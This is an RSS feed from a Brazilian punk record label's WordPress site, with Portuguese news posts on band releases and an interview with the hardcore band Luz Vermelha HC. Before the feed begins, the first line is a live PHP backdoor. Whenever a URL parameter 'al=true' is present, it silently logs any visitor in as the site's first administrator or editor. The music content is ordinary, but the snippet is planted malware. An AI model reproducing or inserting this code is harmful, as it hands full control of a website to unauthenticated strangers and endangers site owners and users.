// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Paraná – Balbúrdia Records https://balburdiarecords.com A casa do underground Wed, 02 Jul 2025 22:00:24 +0000 pt-BR hourly 1 https://wordpress.org/?v=6.9.4 https://i0.wp.com/balburdiarecords.com/wp-content/uploads/2025/07/cropped-icone-balburdia.jpg?fit=32%2C32&ssl=1 Paraná – Balbúrdia Records https://balburdiarecords.com 32 32 179107725 Kichute 43 estreia nas plataformas com o single “Maldita”, Punk Rock, vingança e LPs roubados https://balburdiarecords.com/2025/07/02/kichute-43-estreia-nas-plataformas-com-o-single-maldita-punk-rock-vinganca-e-lps-roubados/ https://balburdiarecords.com/2025/07/02/kichute-43-estreia-nas-plataformas-com-o-single-maldita-punk-rock-vinganca-e-lps-roubados/#respond Wed, 02 Jul 2025 22:00:22 +0000 https://balburdiarecords.com/?p=2285 Kichute 43 estreia com o single “Maldita”, Punk Rock, vingança e LPs roubados

Direto da Fazenda Rio Grande, região metropolitana de Curitiba, a Kichute 43 chega oficialmente às plataformas digitais com seu primeiro single, Maldita. Com mais de duas décadas de estrada e atitude de sobra, o trio lança a pedrada sonora pelo selo Balbúrdia Records, que assina a distribuição do som nas principais plataformas de streaming.

A banda, formada por Clayton Martins (voz e guitarra), Thiago Godinho (bateria) e Rodrigo (baixo), carrega no som a essência do punk rock clássico, misturando influências de Ramones, Rancid e do melhor do underground curitibano. O som é cru, direto, cheio de energia e com letras em português que falam das dores, alegrias e ironias da vida nas quebradas.

Faça o pre save e escute aqui: https://onerpm.link/258149260227

“Maldita”: desabafo punk em alto volume

Gravada no Estúdio Krull, em Curitiba, Maldita é uma faixa que fala de um término, mas não qualquer término. Aqui, a treta vai além do coração partido: ela envolve a perda mais dolorosa para qualquer fã de música, uma coleção de LPs levada embora pela ex. Com referências explícitas a Ramones, Elvis, Misfits e Chuck Berry, o protagonista da música sai numa verdadeira caçada atrás dos discos. Tudo isso ao som de guitarras distorcidas e uma pegada veloz que remete ao punk rock clássico.

O single tem aquela mistura perfeita de humor ácido, raiva contida e energia de sobra. Um hino para quem já foi traído no amor ou no acervo musical.

Punk com identidade brasileira

A Kichute 43 foi formada no início dos anos 2000 e já participou de diversas iniciativas culturais pela região metropolitana de Curitiba. Sempre como um verdadeiro representante da cena punk local, o grupo foi construindo uma base sólida com shows intensos, letras provocativas e muita vivência real.

O nome da banda é uma homenagem ao clássico tênis “Kichute”, que marcou a infância de muita gente nos anos 80 e 90, símbolo da rua, da escola pública, das peladas no asfalto e das histórias que não entram nos livros, mas viram música.

Lançamento com a cara da Balbúrdia

Para a Balbúrdia Records, lançar o primeiro som da Kichute 43 é motivo de orgulho. O selo, que vem apostando forte no rock underground e nas bandas que mantêm a autenticidade e a crítica social vivas na música, vê Maldita como o começo de uma nova fase para a banda, agora mais conectada e pronta para alcançar novos públicos.

O single estará disponível dia 18 de julho nas plataformas digitais.

Enquanto isso segue a Kichute 43 no Instagram
https://www.instagram.com/kichute43/

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Domperidhona lança “Pão e Circo” e mostra que o punk ainda tem muita lenha pra queimar https://balburdiarecords.com/2025/04/27/domperidhona-lanca-pao-e-circo-e-mostra-que-o-punk-ainda-tem-muita-lenha-pra-queimar/ https://balburdiarecords.com/2025/04/27/domperidhona-lanca-pao-e-circo-e-mostra-que-o-punk-ainda-tem-muita-lenha-pra-queimar/#respond Sun, 27 Apr 2025 14:45:03 +0000 https://balburdiarecords.com/?p=2272 Domperidhona lança “Pão e Circo” e mostra que o punk ainda tem muita lenha pra queimar

Direto de Curitiba, o trio Domperidhona chega com seu novo EP “Pão e Circo”, lançado pela independente Balbúrdia Records, lembrando a todos que o bom e velho punk rock com raiva, guitarra alta e crítica social, ainda está muito vivo.

Formada por Bia (baixo e vocal), Ana (guitarra) e Carol (bateria), a Domperidhona aposta no formato clássico do power trio pra disparar três faixas rápidas e certeiras. Em tempos de fake news, guerras de verdade e alienação, o EP é quase um soco no estômago e ainda assim, daqueles que a gente agradece.

A música de abertura, “Guerra”, mira nos donos do poder e na máquina de moer gente que segue rodando pelo mundo. Em “Pão e Circo”, a crítica é mais ácida: fala de como a mídia e a política mantêm o povo distraído e obediente. Já “Tristeza” é um retrato dolorido das ruas e de quem insiste em não ver o que está bem na frente dos olhos.

O som é urgente, sem firulas, e traz ecos do punk nacional um movimento muito maior que apenas música. “Pão e Circo” já está disponível nas plataformas e promete ser trilha sonora para tempos difíceis e também para quem não perdeu a capacidade de se indignar.

Pra quem ainda acredita no poder de três acordes e uma ideia, o convite tá feito.

“Pão e Circo” já está disponível nas plataformas digitais, confira o som no link:

https://www.balburdiarecords.com/paoecirco

DOMPERIDHONA
Curitiba – PR

EP Pão e Circo (2025)

Selo: Balbúrdia Records
Data de Lançamento: 26/04/2025

Tracklist:

01 Guerra
02 Pão e Circo
03 Tristeza

Formação:

Aninha – Guitarra/Gritos
Bia – Baixo/Vocal
Carol – Bateria

Gravado, mixado e masterizado: Laje Estúdio
@lajeestudio

Contatos:

https://www.instagram.com/dompe.ridhona

E-mail: domperidhona2022@gmail.com

Fone/Whats: +55 41 98864-4009

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A Revolução Punk Feminina: Domperidhona, uma banda Punk de Curitiba lança seu primeiro trabalho. https://balburdiarecords.com/2024/03/22/redpills/ https://balburdiarecords.com/2024/03/22/redpills/#comments Fri, 22 Mar 2024 22:53:36 +0000 https://balburdiarecords.com/?p=2029 A Revolução Punk Feminina: Domperidhona, uma banda Punk de Curitiba lança seu primeiro trabalho.

Da renomada cena underground de Curitiba, a banda punk feminina Domperidhona com uma longa história no movimento, lança o seu primeiro trabalho nas plataformas digitais.

Punk rock desde 2008

Formada em 2008, a Domperidhona, ou simplesmente Dom, é mais do que um nome no underground; é um símbolo de persistência e evolução. A banda, que já passou por diversas formações, encontrou sua expressão mais sólida entre os anos de 2008 e 2016, com Bia no baixo e vocal, Ana na guitarra e backings, e Wallace na bateria. Juntas, elas participaram de festivais e coletâneas que marcaram a cena punk, como o Zona Punk SP, a Cena Underground de Colombo e recentemente na coletânea “Mulheres em Movimento” da NoiseRed.

Após um período de pausa, a Domperidhona retornou com uma nova formação e uma energia renovada. Bia seguindo no vocal e baixo, Ana traz a potência de sua guitarra e gritos, e Carol assume a bateria. A nova fase da banda foi inaugurada com uma performance no PUNK ROCK FEST CWB, um dos festivais mais emblemáticos da cena curitibana, realizado no icônico 92 Graus.

A Re- Volta!

O retorno da banda não poderia ser mais simbólico, em novembro de 2023, elas entraram em estúdio para a produção do EP “Red Pill´s Não Passarão”. Este trabalho representa não apenas um marco na carreira da banda, mas também um manifesto artístico e político. Lançado em 22 de março em formato digital e previsto para 06 de abril em CD, o EP é uma colaboração entre os selos Trajano Records e Balbúrdia Records.

O título “Red Pill´s Não Passarão” evoca uma mensagem de resistência e luta, características intrínsecas ao punk e, especialmente, ao punk feminino. A Domperidhona, com sua música e sua postura, reafirma o papel crucial das mulheres na música e na sociedade, desafiando estereótipos e inspirando uma nova geração de artistas independentes.

A Domperidhona é mais do que uma banda; é um movimento, uma voz que se recusa a ser silenciada. Com seu primeiro EP, elas reafirmam seu lugar na história cultural de Curitiba e do punk brasileiro. A Domperidhona está aqui para ficar, e seu grito ecoará por muitos anos.

Confira o EP no Spotify

Outras Plataformas

https://www.balburdiarecords.com/pandemia

DOMPERIDHONA

Curitiba – PR

EP Red Pills Não Passarão (2024)

Gravadora: Balbúrdia Records e Trajano Records

Data de Lançamento: 22/03/2024

Tracklist:

01 Polícia nos Bairros
02 Mensalão
03 Campari
04 Espalhando o Medo

Formação:

Aninha – Guitarra/Gritos

Bia – Baixo/Vocal

Carol – Bateria

Capa: Isis Sophia
@isissophiaarao
Gravado, mixado e masterizado: Studio Krull
@studio.krull

Contatos:

https://www.instagram.com/dompe.ridhona/

https://www.facebook.com/DomperidhonaCwb

E-mail: anapaulaaureliomunhos@gmail.com

Fone/Whats: +55 41 98864-4009

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Degradação Humana lança seu EP de estreia https://balburdiarecords.com/2024/02/16/degradacao-humana-lanca-seu-ep-de-estreia/ https://balburdiarecords.com/2024/02/16/degradacao-humana-lanca-seu-ep-de-estreia/#respond Sat, 17 Feb 2024 00:59:00 +0000 https://balburdiarecords.com/?p=1936 Degradação Humana lança seu EP de estreia

A Degradação Humana teve o seu início em 2018, quando Mark (guitarra), Titanic (bateria) e o Victor (vocal) tiveram a ideia de unir forças para criar uma banda fundamentada no Crust Punk e no Grindcore. Bebendo de fontes da velha escola, cujas principais influências são o Extreme Noise Terror, Napalm Death, Anti Cimex e o Driller Killer.

Com letras que falam sobre a realidade da nossa sociedade atual, sobretudo esse estado omisso e fascista que tenta sempre nos dissuadir dos nossos objetivos colocando pedras em nossos caminhos. Tudo em um reflexo grotesco sobre a vida, a revolta e a desesperança. O som é classificado como um Crust/Grind. 

A banda vem tocando bastante em bares e vilas culturais de Londrina e também em eventos organizados por coletivos da cidade como o Londrinoise e o Coletivo Norte e agora lança seu primeiro trabalho pelo selo da Balbúrdia Records, confira agora o som da Degradação Humana nas principais plataformas de música.

ouça agora na sua plataforma de áudio favorita:

www.balburdiarecords.com/degradação

EP Degradação Humana

Banda: Degradação Humana (Londrina – PR)
Crust/Grind
Lançamento: 16/02/2024
Selo: Balbúrdia Records

Tracklist:
01 Vítimas da guerra
02 Antiautoridade
03 Vida desgraçada
04 Padrão social
05 Trabalho escravo


Formação:
Mark – Guitarra
Titanic – Bateria
Victor – Vocal

Contatos:
https://www.instagram.com/degradacaohumana/
Fone/Whats: +55 43 9678-2755
E-mail: contato@balburdiarecords.com.br


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Entrevista com Luz Vermelha HC https://balburdiarecords.com/2022/11/23/entrevista-com-luz-vermelha-hc/ https://balburdiarecords.com/2022/11/23/entrevista-com-luz-vermelha-hc/#respond Thu, 24 Nov 2022 02:35:16 +0000 https://balburdiarecords.com/?p=1681 Entrevista com a banda Luz Vermelha HC

Hoje entrevistamos a banda Luz Vermelha HC de Guaratuba – PR que comemora 25 anos de estrada, prometem material novo para 2023 e seguem fazendo o seu legitimo hardcore caiçara.

…coisa mais importante que é levar o Caiçarismo e nossa regionalidade conosco nos rolês. Misturar o punk HC com pitadas de fandango e por aí vai!

Keio – Luz Vermelha HC
Luz Vermelha HC

Quando vocês iniciaram o projeto da Luz Vermelha?

Keio: A LVHC iniciou em julho de 1997 na cidade de Guaratuba, litoral. Este ano estamos completando 25 anos de banda.

Como surgiu o nome Luz Vermelha HC?

Keio: O nome vem de uma sátira a justiça brasileira e ao nosso sistema prisional que deu liberdade ao bandido da Luz Vermelha para voltar a viver livre na nossa sociedade e por coincidência ele veio morar em Guaratuba PR cidade onde Jeferson Jeg, Maurício Ramos, Rogério Resende e Rodrigo Borba faziam um som mas até então a banda não tinha nome e um dia de ensaio na casa do Jeferson e entre som e muitas garrafas de vinho barato e discussões sobre o nome o Rodrigo Borba pega um jornal da cidade onde a capa era a notícia que o bandido da luz vermelha estava livre e morando em Guaratuba e tivemos aí ilustre ideia então de batismo da banda.

Quem são os integrantes da banda?

Keio: A LVHC hoje conta com o Jeferson Jeg na bateria, integrante da formação original. Cleverson Keio no vocal, que entrou na banda a partir de 2008. Jota Jonathan Punk no baixo, entrou na formação a partir de 2017 e Matheus Matha na guitarra que está na banda desde 2019.

Quais as principais inspirações da banda?

Keio: Num primeiro momento a gente já pensa em banda, rock, punk etc, mas o que realmente nos motiva é a arte e o Underground mesmo. Porque, veja bem, você trabalha muito a semana toda e faz um som com seus parceiros que são de cidades diferentes no final de semana, tocar, se ferrar nos rolês e depois ainda rir disso, é pra quem gosta mesmo. Isso nos motiva a não parar.

O que vocês faziam antes da banda?

Keio: Eu trabalhei em empresas do gênero portuário aqui da cidade de Paranaguá, vivendo enfurnado em escritórios, já tinha e voltei recentemente com minha banda de desgraceira Toxina, além de sempre estar desenhando e produzindo algo pro underground. Hoje vivo basicamente de arte, desenhando e tatuando.

Jota: Vem de outros projetos, como a NTN que teve início no final de 1999, além de estar à frente do Studio Na Mira de 2015 até 2021, fazendo várias produções e festivais focados principalmente no underground do litoral.

Matha: basicamente participando de outros projetos/bandas. Entrei na LVHC de supetão para cobrir o antigo guitarrista a princípio para apenas um show, mas acabei ficando muito pelo entrosamento da banda e por sempre ser um fã da mesma, ser convidado foi uma honra.

Jeg: estudava e trabalhava de mecânico de automóveis e caminhões até então nunca tive nenhum contato com a música.

Já tocaram em outras bandas?

Keio: O Jeg sempre esteve com a LVHC mas teve um projeto em 2007, também na batera, com uma banda aqui de Paranaguá chamada R.D.A. ou Restos de Aborto. Eu também faço vocal na Toxina de Paranaguá que já gritava antes de entrar na LVHC. O Jota toca batera na N.T.N. GREL#A e Câmbio Caranguejo, ambas de Matinhos. Hoje faz o baixo na LVHC. Já o Matha, vai faltar espaço e vou tentar resumir. Além de muitos projetos com outras bandas do litoral que ele fez e faz, que eu lembre aqui, tocou guitarra na Illbred de Paranaguá, baixo na GREL#A e se mantém ativo na guitarra da N.T.N., TOXINA e baixo dá Câmbio Caranguejo.

Por que decidiram se juntar para fazer a banda?

Keio: Acredito que todos gostam de tocar, fazer som e produzir algo relativo ao punk hardcore. Como disse, isso nos motiva.

Como foi o começo da banda, e o que mudou até hoje?

Jeg – A banda começou em uma noite eu (Jeferson) encontrei com o Maurício na pista de skate aqui em Guaratuba e conversando sobre som ele falou que tinha comprado uma guitarra é tinha um colega que estava vendendo uma guitarra também é se eu não queria comprar, comprei é começamos a tocar. Aí passando alguns dias vi uma bateria a venda em uma loja de móveis usados aí fui lá e troquei na minha guitarra mas sem nunca ter sentado atrás de uma batera, aí fomos atrás de um baixista e encontramos o Rogério os três sem nunca ter tocado nada e como o Rodrigo sempre estava nos ensaio com a gente pegou e assumiu o vocal aí tava feita a merda kkk. Foi com essa formação que fizemos as primeiras músicas da banda gravamos duas músicas para coletânea HARD CORE FACTION e também lançamos nossa primeira demo tape A Vida é Foda. No ano de 2002 o Rodrigo Borba saiu da banda e Edson Siebre Tiriba assumiu os vocais com toda sua raiva e rebeldia, com essa formação fizemos vários shows e algumas músicas. E em 2008 com a saída do Tiriba o Cleverson Keio entra para banda com toda sua bagagem do movimento PUNK trazendo para banda um novo gás e um vocal mais agressivo e com essa formação fizemos vários shows inesquecíveis e finalizamos as gravações do nosso primeiro álbum. E em 2017 com a saída do Rogério Resende quem assume o baixo é o nosso amigo já de longa data Jonathan mais conhecido como Jota Punk que também traz uma grande bagagem musical que veio a somar muito para banda. E em 2019 sai o Maurício E entra o Matheus Matha que já vinha sempre nos acompanhando em vários shows e sempre nos ajudando bastante assume a guitarra reforçando mais ainda a nossa pegada HARD CORE CAIÇARA. Que mesmo com todas essas mudanças a banda continua se mantendo cada vez mais viva e sempre tocando com mais ódio.

Qual o diferencial da banda de vocês?

Keio: Além de parecermos uns cadeieiros bem nutridos? Rs, acho que é ser uma banda familiar, que toca pq gosta mesmo. Quando entrei na banda em 2008 achei melhor tirar esse rótulo de hardcore assassino que a banda tinha antes por causa do João Acácio, pra uma coisa mais importante que é levar o Caiçarismo e nossa regionalidade conosco nos rolês. Misturar o punk HC com pitadas de fandango e por aí vai! Muita gente pensou nisso, mas ninguém fez. Nós estamos fazendo.

Vocês já possuem álbuns?

Keio: Sim. A LVHC tem 2 demos tapes, algumas participações em coletâneas e um álbum digital intitulado “Dias Miseráveis” que pode ser ouvido inteiro via bandcamp ou no YouTube.

Tem novidade pra chegar?

Keio: Temos sim. A pandemia acabou atrasando o lado de todos, deixando nossos projetos meio que estacionados. Tanto que temos músicas que já estão em nosso repertório dos rolês e ainda não foram gravadas. Então a ideia e juntar esse material novo e lançar o quanto antes em um EP. Digital e de repente físico pra continuar 2023 com força.

E os shows, como está o calendário?

Keio: Somos uma banda total familiar, então largar tudo durante um tempo pra fazer turnê é muito improvável pra nós. Desta forma mantemo-nos fazendo um show ali e aqui e estamos conseguindo desde o início deste ano de 2022 comemorar nossos 25 anos. Temos agora para o dia 06/11(domingo) os 6 Anos da Frontline Fucking Fest em Paranaguá e depois dia 25/11(sábado) o Litoral Hardcore Invasion no Pinhão Bar por vocês aí em Curitiba.

Os ensaios para os shows, são feitos com frequência?

Keio: Com certeza. Estamos sempre ensaiando. Mesmo sendo de 3 cidades próximas, fazemos o corre pra nós mantermos antenados no papo e no setlist.

Pra quem não conhece o trabalho de vocês, aonde costumam se apresentar normalmente?

Keio: No litoral, praias, Paranaguá volte e meia rola alguma coisa em algum bar ou Festival como os que tinha antes da pandemia em Matinhos (Festival Radical). Curitiba volte e meia colamos e até aniversário de amigos quando chamam a gente vai!

E falando do futuro, o que vocês planejam e esperam para a banda?

Keio: Mais 25 anos fazendo o que gostamos. Produzindo, ensaiando, trabalhando para manter o rock litorâneo vivo.

Redes Sociais:

Instagram.com/luzvermelha_hc

luzvermelhahc.bandcamp.com

Facebook.com/luzvermelhahc

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